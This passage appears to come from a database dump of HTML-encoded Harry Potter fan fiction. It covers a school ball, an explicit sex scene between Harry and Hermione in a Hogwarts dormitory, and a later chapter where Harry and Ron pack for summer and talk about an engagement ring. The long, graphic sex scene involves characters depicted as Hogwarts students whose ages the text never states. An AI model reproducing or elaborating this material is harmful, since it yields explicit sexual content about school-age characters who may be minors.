lightly.</p>\n\n<p>&#8220;Thank you, you look quite dashing yourself &#8211; and Ron too.&#8221;</p>\n\n<p>&#8220;Damn Herm, is that really you?&#8221; Ron gawked. He&#8217;d never seen Hermione in a skirt that was less than knee-length before.</p>\n\n<p>Hermione had straightened her hair so it ran down to her waist. A slight amount of blush adorned her face, she had on a soft, pink lip-gloss, and her dress robes hung around her shoulders. By now, the bruises on her face and arms had healed &#8211; thanks to Madam Pomfrey -, but she still had a small black and blue mark on her left ribs.</p>\n\n<p>&#8220;Hey Hermione, I thought you were wearing heels with that dress?&#8221; Lavender asked.</p>\n\n<p>&#8220;I decided not to; I don&#8217;t dance well in heels.&#8221; Instead, she&#8217;d gone with a pair of black flats to go with her dress. Her eyes turned towards Harry.</p>\n\n<p>&#8220;You will dance with me won&#8217;t you?&#8221;</p>\n\n<p>&#8220;Of course, I will. I don&#8217;t know how good I&#8217;ll be, but I&#8217;ll try.&#8221; Hermione smiled and kissed his cheek.</p>\n\n<p>&#8220;Don&#8217;t worry, love, you&#8217;ll do fine. C&#8217;mon let&#8217;s go.&#8221;</p>\n\n<p>Linking her arm through his, the couple headed out the portrait hole with Ron and Lavender right behind them.</p>\n\n<p>Just as they exited the portrait hole, they ran into Lupin and Sirius.</p>\n\n<p>&#8220;Hello Harry,&#8221; the two men greeted.</p>\n\n<p>&#8220;We brought you something.&#8221; Reaching into his robes, Sirius pulled out a familiar item and tossed it towards Harry.</p>\n\n<p>&#8220;My broom!&#8221; he gasped and clutched his Firebolt tightly. &#8220;But how?&#8221;</p>\n\n<p>&#8220;After the battle, we found it among the snake&#8217;s remains. It had a few smoke marks on it, but it wasn&#8217;t damaged.&#8221;</p>\n\n<p>&#8220;We also found your sword, Harry,&#8221; Remus added.</p>\n\n<p>&#8220;My sword?&#8221; he asked confused. &#8220;You mean Godric&#8217;s sword; it made it too!&#8221;</p>\n\n<p>&#8220;Yes, Professor Dumbledore put it back in his office for safe keeping.&#8221;</p>\n\n<p>&#8220;This is great!&#8221; Harry said happily.</p>\n\n<p>&#8220;Well, we&#8217;ll see all of you downstairs then.&#8221; The two men headed down towards the Great Hall, and Harry turned towards his friends.</p>\n\n<p>&#8220;Hang on, I&#8217;ll be right back.&#8221;</p>\n\n<p>He raced up to his room and put his Firebolt underneath bed, smiling brightly at him it back when he&#8217;d thought he&#8217;d lost it for good. Nearly flying back down the stairs, he found Hermione waiting him and took her hand. Together, they followed Ron and Lavender down to the ball.</p>\n\n<p>The quartet approached the Great Hall to hear the party had already started. The tables had been removed to make room for the students to dance, and instead, they ran along the side walls for students to sit down at. Once again, the Weird Sisters had been invited to play at the ball, and everyone was enjoying the music.</p>\n\n<p>Harry escorted Hermione to the Gryffindor section of seats and held out her chair for her. Smiling warmly, she took her seat, and Harry dropped into the chair beside her. Ron and Lavender immediately headed for the dance floor, and Hermione poked Harry in the side.</p>\n\n<p>&#8220;Hey, wanna dance?&#8221;</p>\n\n<p>&#8220;Sure.&#8221; Harry stood up and extended his hand.</p>\n\n<p>&#8220;Miss Granger, may I have the pleasure of this dance?&#8221;</p>\n\n<p>&#8220;It would be an honor, Mr. Potter.&#8221;</p>\n\n<p>The two entered the fray of students dancing just as a fast rock piece was coming to an end. The next song was slow and soothing, and Harry silently thanked the band for helping him out.</p>\n\n<p>Without hesitation, Hermione stepped into her lover&#8217;s arms, and she felt him wrap her in his embrace. They would not be separated tonight. Her arms came up around his neck, and she laid her head on his chest.</p>\n\n<p>Harry could feel several pairs of eyes on them. Hermione had left her dress robes on her chair, and he could see quite a few guys eyeing her with lustful eyes.</p>\n\n<p>&#8220;What is it?&#8221; Hermione asked softly as they begun to sway around the floor.</p>\n\n<p>&#8220;Nothing. Just every guy I see seems to be undressing you with their eyes.&#8221; She could feel him tense and rubbed the back of his neck.</p>\n\n<p>&#8220;Relax Harry, don&#8217;t worry about it. Besides, you&#8217;re the only one who has permission to undress me,&#8221; she cooed.</p>\n\n<p>&#8220;Don&#8217;t tempt me, sweetheart, it&#8217;s gonna be hell just getting through tonight. Between you and how you look in that dress and how much I&#8217;ve missed you, it&#8217;ll be a miracle if I survive this.&#8221; Hermione giggled into his chest.</p>\n\n<p>&#8220;I&#8217;ll make you a promise, love. If you can last for half the ball, I&#8217;ll give you something special.&#8221;</p>\n\n<p>&#8220;Why only half?&#8221; She lifted her head, and Harry groaned at the desire burning in her brown eyes.</p>\n\n<p>&#8220;Cause that&#8217;s all patience I have left.&#8221;</p>\n\n<p>&#8220;Well, for now, let&#8217;s just enjoy this.&#8221;</p>\n\n<p>Harry buried his face in her hair, and Hermione rested her face in the crook of his neck.</p>\n\n<p>At the front of the Great Hall, the professors sat at their customary long table. Professor Dumbledore had a small smile on his face as he looked at the crowd of students dancing and celebrating. His sharp eyes easily picked out Harry and Hermione. They weren&#8217;t that hard to miss; they were emitting a powerful aura; and it had nothing to do with magical powers. </p>\n\n<p>Everything was back to normal &#8211; as it should be. Harry had finally found himself in all this turmoil, and in the process, fallen in love with a wonderful girl. It was indeed a joyous night. Deciding that he could use a little fun himself, Dumbledore rose to his feet attracting his colleagues&#8217; attention.</p>\n\n<p>&#8220;Minerva, would you like to dance?&#8221; Professor McGonagall stared at him like he was out of his mind.</p>\n\n<p>&#8220;Are you serious, Albus?&#8221; she gasped.</p>\n\n<p>&#8220;Certainly. I may be old, but I can still cut a mean rug. Shall we?&#8221;</p>\n\n<p>&#8220;Well&#8230;I&#8230;I guess it couldn&#8217;t hurt.&#8221;</p>\n\n<p>The students were quite surprised to see the headmaster on the dance floor, but they parted and allowed the professors to dance.</p>\n\n<p>Harry was trying hard to keep a straight face, but his chest rumbled with unreleased laughter. Hermione opened her eyes, and she looked up at him in surprise.</p>\n\n<p>&#8220;What&#8217;s so funny?&#8221;</p>\n\n<p>&#8220;Turn around, Herm.&#8221;</p>\n\n<p>Hermione turned her head to see Professor Dumbledore and Professor McGonagall swirling around the Great Hall. She too had a hard time controlling her laughter.</p>\n\n<p>&#8220;Now, there&#8217;s something you don&#8217;t see everyday!&#8221; Ron chirped as he and Lavender approached.</p>\n\n<p>&#8220;Yeah, now I know that Dumbledore&#8217;s in a good mood,&#8221; Harry laughed.</p>\n\n<p>The ball was indeed wonderful. Halfway through the evening&#8217;s festivities, fireworks lit up the night sky, and everyone watched them through the transparent ceiling. While everyone was occupied with the light show, Harry and Hermione slipped out of the Great Hall and towards Gryffindor Tower.</p>\n\n<p>By the time they made it through the portrait hole, it was nearly impossible for them to keep their hands off each other. Hermione&#8217;s hands were buried in Harry&#8217;s wild, brown hair, and his arms were stroking her sides while his lips dueled hungrily with hers.</p>\n\n<p>&#8220;Na uh!&#8221; Hermione danced out of his arms and turned around to face him. Her eyes were blazing with desire, and her lips curved into a seductive smile.</p>\n\n<p>&#8220;Come on.&#8221;</p>\n\n<p>She led him up the staircase to her room and pressed herself up against the door. She beckoned him to her, and Harry followed like a lost puppy. Hermione dropped her dress robes on the floor, and Harry slammed the door shut.</p>\n\n<p>&#8220;Lochanus!&#8221; At his command, the doorway was once again sealed with a magical lock. Taking one long stride, he enveloped his lover in his arms.</p>\n\n<p>&#8220;Hermione, you&#8217;re breathtaking.&#8221;</p>\n\n<p>&#8220;This is our night, my love. Make me yours again, Harry.&#8221;</p>\n\n<p>Harry kissed her until they both nearly suffocated. His lips traveled down her neck and onto the soft skin of her shoulders. Hermione twisted in his arms and raised her arms up around his neck. She pressed herself back against him and moaned in approval when she felt his arousal growing against her backside.</p>\n\n<p>&#8220;Sweetheart&#8230;&#8221; Harry murmured as his hands slid down her back, &#8220;&#8230;As much as I love you in this dress, you look a hundred times better out of it.&#8221;</p>\n\n<p>Hermione could feel him unzipping her dress, and she leaned forward slightly so the straps slid off her shoulders. Gliding his hands down her ribcage, Harry easily slid the silky material from her body.</p>\n\n<p>&#8220;Dear God!&#8221; It seemed that black was Hermione&#8217;s color tonight, and she laughed as Harry gulped at the sexy, black lingerie he found her wearing.</p>\n\n<p>&#8220;I wanted to surprise you; you&#8217;ve already seen my dress.&#8221; Her lover groaned huskily.</p>\n\n<p>&#8220;Don&#8217;t to it too often, sweetheart, or you&#8217;re gonna kill me.&#8221;</p>\n\n<p>&#8220;My turn now.&#8221;</p>\n\n<p>Hermione spun around and undid his loose robes. Pushing them off his broad shoulders, she immediately went to work on his sweater and turtleneck. Harry obediently raised his arms, and she tugged them over his head all at once. Her next target was his pants, and her eyes began to burn with lustful anticipation.</p>\n\n<p>&#8220;Just a second,&#8221; Harry interrupted. He kicked off his shoes and nodded his head for her to continue. Hermione kissed him hungrily and dropped his pants to the floor.</p>\n\n<p>Stepping out of their clothes, the two lovers entwined in an intimate embrace. Harry wrapped her in his strong arms, and Hermione went limp as he kissed her. She backed him towards the bed, and he stumbled when his knees hit the side of the bed. Harry tumbled back onto her mattress, and Hermione smiled seductively from above him.</p>\n\n<p>Harry gulped at the fiendish smile on her lips, and he could feel sweat forming on his brow as Hermione slid on top of him. Swinging one long leg across his body, she straddled his waist and ran her hands up his chest. Sitting up on his lap, Hermione ran her hand across his face and smiled tenderly. Watching his face intently, she reached back to unfasten her bra and licked her lips when his eyes darkened with passion. She leaned down on top of him, and the garment slid down her arms.</p>\n\n<p>Harry&#8217;s hands eagerly slid up her ribcage and cupped the soft mounds. Hermione moaned softly as he caressed her. He drew her down for a long, sweet kiss, and she gasped when he flipped her onto her back.</p>\n\n<p>&#8220;Let me touch you, my Hermione.&#8221; She conceded and let him have his way as his gentle hands kneaded her soft curves.</p>\n\n<p>&#8220;Oh Harry&#8230;I love the way you touch me.&#8221; Placing a tender kiss upon her swollen lips, he began to descend down her body.</p>\n\n<p>Harry kept his weight on his arms, as he didn&#8217;t want to aggravate any bruises that Hermione still had on her skin. Wanting to please her as much as possible, Harry brushed his mouth across her breast, and she tensed at the new sensation. Already loving the taste of her flesh, Harry wasted no time as he flicked his tongue over her hardening nipple.</p>\n\n<p>&#8220;Harry!&#8221; his lover gasped as he tasted her essence.</p>\n\n<p>Hermione felt her body lock up when his mouth closed over her breast, and she grabbed hold of his hair. He moved back thinking that he had hurt her, but she pushed him back against her bosom wanting him to have as much as he wanted. Harry slowly feasted on her firm breasts, alternating between them so that each of her womanly globes received equal attention.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; Harry sighed as he slid even lower down her body.</p>\n\n<p>His fingers curled under her panties, and she raised her hips to aid him. At the first sight of her femininity, Harry thought he&#8217;d died and gone to heaven. He could seeing her nectar dripping out of her, and it made his mouth water thinking about how she tasted.</p>\n\n<p>Hermione looked down to see what he was doing, and she was surprised to see him lowering his head between her thighs. She suddenly realized the very personal thing that he was going to do for her, but nothing prepared her for the first touch of his mouth against her center.</p>\n\n<p>Harry felt her tremble and grinned as she turned to putty in his arms. He kissed her soft rose once again and brushed his fingers against the soft folds of skin. Hermione clenched the sheets in her hands, and she arched her back in sheer delight. The moment that Harry tasted her sweetness, he became addicted. Carefully opening her to his explorations, he thrust his tongue inside her, drinking up her juices as they poured from her body.</p>\n\n<p>&#8220;Harry&#8230;my love&#8230;don&#8217;t&#8230;&#8221; Hermione choked out as tears appeared in her eyes. Her lover froze immediately.</p>\n\n<p>&#8220;I&#8217;m sorry, Hermione.&#8221; Harry stopped, but she grabbed him by the hair again.</p>\n\n<p>&#8220;Don&#8217;t stop&#8230;please don&#8217;t stop&#8230;&#8221; she finally finished, &#8220;It felt so good, my darling.&#8221;</p>\n\n<p>The young wizard resumed his treatment, and his lover moaned her approval as he drank in her essence.</p>\n\n<p>Hermione could feel the tension building in her body, but she didn&#8217;t want to go without Harry with her. Twirling her fingers into his hair, she pulled his face from her core, and he looked at her quizzically.</p>\n\n<p>&#8220;No Harry, not like that, come here.&#8221; She reached out for him, and Harry took his place above her once again.</p>\n\n<p>Hermione&#8217;s small hand reached down and tugged on his shorts. With a few firm pulls, they joined her panties on the floor, and her hands came to rest on his waist. Wanting to please him as he had her, she nervously slid her right hand down between his legs and found the hard length of his shaft.</p>\n\n<p>&#8220;Oh Hermione&#8230;&#8221; Harry closed his eyes and groaned deeply when her delicate fingers curled around him.</p>\n\n<p>&#8216;My gosh, did I really cause this?&#8217; Hermione asked herself. He felt so hot in her hand; she was afraid that he would explode. Knowing that they&#8217;d both waited long enough, Hermione guided the head of his member to her waiting entrance. Harry gazed down at her, and green eyes met brown.</p>\n\n<p>&#8220;I want this, Harry, I want you inside me again. Make love to me, my beloved hero.&#8221;</p>\n\n<p>&#8220;Anything for you, my angel.&#8221; Harry kissed her so hard that he was afraid her lips would be bruised in the morning.</p>\n\n<p>Hermione spread her legs, and Harry settled himself against her. Grasping her hips, he slowly pushed into her waiting body.</p>\n\n<p>&#8220;Sweet Merlin!&#8221; She was so willing for him, and it felt so good to be in her like this.</p>\n\n<p>&#8216;This is so wonderful! It doesn&#8217;t hurt at all,&#8217; Hermione thought as Harry slid completely inside her. It felt like an overwhelming emptiness within her had been filled at last.</p>\n\n<p>&#8220;Hermione?&#8221; She opened her eyes to see Harry looking at her.</p>\n\n<p>&#8220;Don&#8217;t worry, it doesn&#8217;t hurt at all. It feels so good with you inside me.&#8221; The sparkle in her eyes rammed home her words, and his face broke out in a broad smile.</p>\n\n<p>With their arms around each other, the two lovers began their dance &#8211; moving in complete harmony. Harry plunged into her sweet, hot depths practically growling his satisfaction as Hermione gave herself to him completely.</p>\n\n<p>&#8216;I&#8217;ve never seen him so passionate before; his eyes look so amazing.&#8217;</p>\n\n<p>Hermione watched him as he once again suckled her breasts. After a few minutes, he moved up to her face and tasted her lips. His hands continued to assault her breasts, and she writhed beneath him as he pleasured her entire body. Soft moans escaped her lips, and her hips began to buck in counterpoint to his thrusts. Her body was winding up to snap any moment&#8230;</p>\n\n<p>&#8220;I love you, Hermione Granger,&#8221; Harry moaned as he buried his face against her neck. That was all she needed.</p>\n\n<p>&#8220;Harry!&#8221; Her world exploded into blazing white light as an overwhelming release flooded her body. She screamed so loud the windows nearly cracked, and her fingernails dug into his shoulders.</p>\n\n<p>Harry groaned as her insides tightened and pulsed around his member, begging him to answer her climax, but he would not give in just yet. He spread her thighs and pushed even deeper into her body. Hermione shrieked, and her legs snapped around his waist. She squeezed him against her wanting to push him completely inside her.</p>\n\n<p>&#8220;Yes Harry&#8230;like that&#8230;deep inside me&#8230;&#8221;</p>\n\n<p>&#8220;That&#8217;s where I want to be, sweetheart.&#8221;</p>\n\n<p>He pumped into her faster and faster until Hermione was practically panting in his ear. She was nearly humping his pelvic bone with the gyrations of her hips, and she plunged her tongue into his mouth.</p>\n\n<p>&#8220;Give it to me, my love, take me now!&#8221; Hermione nearly screamed. With one final, deep thrust, Harry saw stars explode before his eyes.</p>\n\n<p>&#8220;HERMIONE!&#8221; he cried out, pouring himself into the depths of her supple body.</p>\n\n<p>&#8220;HARRY!&#8221; she answered him, plummeting over the abyss of ecstasy one last time.</p>\n\n<p>Groggily, Harry lifted his head from her neck and huffed into the pillow, trying to catch his breath. He looked down at Hermione underneath him. Her eyes were still closed, and sweat gleamed on her skin. He brushed a few stray locks out of her face and brushed her lips with his.</p>\n\n<p>&#8220;Hmm,&#8221; Hermione sighed and slowly cracked open her eyelids. She found herself staring into the most beautiful pair of emerald eyes in the world. Draping her arms around his neck, she giggled at his messed up hair.</p>\n\n<p>&#8220;We&#8217;re getting good at making up for lost time, aren&#8217;t we?&#8221;</p>\n\n<p>&#8220;The longer we wait, the sweeter it is.&#8221; He kissed her softly once again.</p>\n\n<p>&#8220;Well&#8230;&#8221; Hermione curled a lock of his hair around her finger, &#8220;&#8230;I&#8217;d say we&#8217;ve waited long enough don&#8217;t you?&#8221; His eyes lit up with a passionate hunger.</p>\n\n<p>&#8220;Absolutely.&#8221; Harry began caressing her, starting another round of lovemaking, when Hermione suddenly flipped him over.</p>\n\n<p>&#8220;Uh uh&#8230;this time&#8230;I&#8217;m on top.&#8221; Her wicked smile and nude body made Harry&#8217;s mind swim with countless images of what she could do to him.</p>\n\n<p>Hermione&#8217;s smile widened when she felt him regaining his hardness inside her. Good, his fire was just as hot as hers. Using her calf muscles, she pushed herself up then used her weight to drive back down onto him.</p>\n\n<p>&#8220;Oh Hermione&#8230;you&#8217;re so good,&#8221; he groaned as she slowly began to ride him.</p>\n\n<p>&#8220;It&#8217;s my turn to please you, my hero.&#8221; Harry watched her with lust-laden eyes as Hermione carried them off into oblivion once again.</p> '),
	(162, 20, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Everyone\nat Hogwarts slept in the following morning as they&#8217;d all been up so late\ncelebrating anyway.&nbsp; Today was their last day at school; it was time to\nreturn home for the summer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nand Ron were busy packing their things, when something fell out of one of\nHarry&#8217;s pants pocket.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey,\nwhat&#8217;s this?&#8221; Ron asked as he picked up a small, square, velvet case.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t!&#8221;\nHarry gasped and made a grab for it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\nno you don&#8217;t!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\ndanced away from him and popped open the lid.&nbsp; His mouth dropped open when\nhe saw a gorgeous ring inside.&nbsp; It was solid gold, and it had what\nappeared to a firebird carved into it.&nbsp; Two small diamonds provided its\neyes, and Harry grabbed the box out of his best friend&#8217;s hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah\nright.&nbsp; Come on, Harry, that looks like an engagement ring to me.&#8221; That\nwas when it clicked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nway!&nbsp; Are you gonna to ask Herm to marry you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut-up\nRon!&#8221; Harry growled and closed the box.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nare&#8230;aren&#8217;t you?&#8221; Ron asked with a very annoying smile. &#8220;Come on, you know that\nI&#8217;ll nag you until you answer me anyway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright&#8230;all right&#8230;yes, it is an engagement ring.&nbsp; But don&#8217;t you dare tell\nHermione about this.&nbsp; I&#8217;m going to her house this summer, and I&#8217;ll meet\nher parents so I don&#8217;t you blabbing about this on the train ride home.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Fine\nHarry, but when are you gonna ask her?&#8221; Ron asked with excitement in his voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;None\nof your business!&nbsp; Look, I want to make a good impression on her parents\nand actually talk to them about Herm and I.&nbsp; Yes, I want to marry her, but\nI think that it&#8217;d be best if we finished school first.&nbsp; There&#8217;s no reason\nfor us to rush anyway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nbut Harry, then you won&#8217;t be able to see her &#8216;au natural&#8217;,&#8221; Ron laughed, but he\nfroze when he saw his best friend trying not to grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bloody\nhell!&nbsp; Don&#8217;t me that you two&#8230;that you&#8230;no way!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nway!&#8221; Harry answered with a sly smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nI&#8217;ll be a two-headed gnome!&nbsp; So that&#8217;s why you both disappeared last\nnight.&nbsp; You skipped the ball in favor of doing the horizontal polka.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Maybe&#8230;maybe\nnot.&#8221; Harry loved this; he actually had Ron on edge for once.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\ncome on, spill it.&nbsp; What&#8217;s she like?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\neven think about it, Weasley.&nbsp; I&#8217;m not telling you anything!&nbsp;\nHermione&#8217;s my big secret, and that&#8217;s the way it stays!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nso she is good,&#8221; Ron laughed evilly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let\nme put it this way.&nbsp; Your wildest imagination doesn&#8217;t even come close to\nreality so don&#8217;t try to use it.&#8221; That left the young Weasley gawking at his\nbest friend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\ncruel, Potter, that was low.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\ncome on, don&#8217;t start with me.&nbsp; I know for a fact that you&#8217;re not a virgin\nso don&#8217;t start sulking.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nbut I&#8217;ve never been in a relationship as perfect as yours and Hermione&#8217;s is.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron,\nyou&#8217;ll find your girl, and when you do, it&#8217;ll be incredible.&nbsp; I promise\nyou that.&nbsp; Who knows&#8230;maybe it&#8217;ll be you and Lavender.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nactually hope you&#8217;re right, Harry.&nbsp; I love being with her.&nbsp; She&#8217;s\nfun; she makes me laugh; and she&#8217;s incredibly sweet.&nbsp; And damn, can she\nkiss!&#8221;&nbsp; Harry started laughing, and Ron joined in.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nbetter finish up, or we&#8217;ll miss the train!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">To\nemphasize how short on time they were, Hedwig arrived at the window, and Harry\nquickly put her into her cage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bloody\nhell, I didn&#8217;t realize how late it was!&#8221; Ron groaned as he threw his stuff into\nhis trunk. &#8220;We gotta hurry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Despite\nRon&#8217;s hysterical behavior, he and Harry made to the Hogwarts Express with time\nto spare.&nbsp; Hagrid was there to say goodbye, and they both shook his hand\nsaying that they&#8217;ll see him in a few months.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntwo found Hermione waiting for them on board, and she crossed her arms when\nthey joined her in the cabin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nwhere have you two been?&nbsp; Honestly, the least you could do is be on time.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nsat down next to her and slid his arms around her.&nbsp; Hermione melted under\nthe warm gaze of his green eyes, and he advanced on her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry, sweetheart, but I overslept.&nbsp; You wore me out last night,&#8221; he\nteased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nshe gasped and blushed, noting that Ron was looking at them quite intently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Care\nto elaborate, my friend.&#8221; Harry turned towards him, and 